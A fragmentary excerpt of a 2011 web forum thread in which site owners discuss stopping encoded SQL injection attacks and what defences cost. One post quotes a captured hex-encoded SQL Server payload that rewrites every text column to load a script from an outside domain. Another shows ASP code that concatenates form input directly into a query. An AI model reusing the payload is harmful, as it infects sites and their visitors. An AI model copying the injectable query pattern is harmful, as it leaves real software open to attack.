Forum Moderators: open
[edited by: Demaestro at 6:12 pm (utc) on Dec 6, 2011]
ithe code they send is ENCODED, so you can't check what it is
Can anyone assist on how to prevent this sql injection.
He might not be able to pay thousands of dollars to secure it correctly, but I think he should still be allowed to compete in the marketplace.
You can program your way out of a wet bag, but can't have all possible UI leaks detected, there's way too many points of entry, and for any small company it is commonly cost prohibitive.
Now, with a limited input field of 128 characters, if you don't find any word breaks in those 128 characters like multiple spaces, periods or commas, reject it.
Several common sense techniques will stop those encoded injections dead in their tracks.
lid=1832%27+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x7365742
0616e73695f7761726e696e6773206f6666204445434c4152452040542056415243484152283
23535292c404320564152434841522832353529204445434c415245205461626c655f4375727
36f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434
f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c7
56d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c657320742077686
5726520632e444154415f5459504520696e2028276e76617263686172272c277661726368617
2272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d41584
94d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c6
55f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f5
0454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655
f437572736f7220494e544f2040542c4043205748494c4528404046455443485f53544154555
33d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b2
72b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2
f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3
c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b4
0432b275d2929207768657265204c45465428525452494d28434f4e564552542856415243484
1522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7
363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736
f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f7220444
5414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%
40s%29--&tid=Gratis+Online+Dating... [edited by: Ocean10000 at 2:22 am (utc) on Dec 8, 2011]
[edit reason] Adding line breaks for display. [/edit]
Set OBJdbConnection = Server.CreateObject("ADODB.Connection")
OBJdbConnection.Open "Provider=sqloledb;Data Source=somesite.com;Initial Catalog=somecatalog;User Id=sa;Password=somepwd;" xid = Request.Form.Item("someid")
SQL_query = "SELECT * FROM sometable WHERE (tblid = "&xid&")"
Set rs = OBJdbConnection.Execute(SQL_query) xname = rs("name")
incrediBILL, come on. DO you post here, or what? This Quick Reply box on the forum, how long of a string does it accept?
In fact, even I would shut down several of our small non-profit sites rather than doing extensive and EXPENSIVE hole plugging.
Obviously my code does specific filtering at field levels in the actual application itself
That is what I was referring to when I said "extensive and expensive". Because you have to build this infrastructure in, so if it isn't already present it is an extensive application mod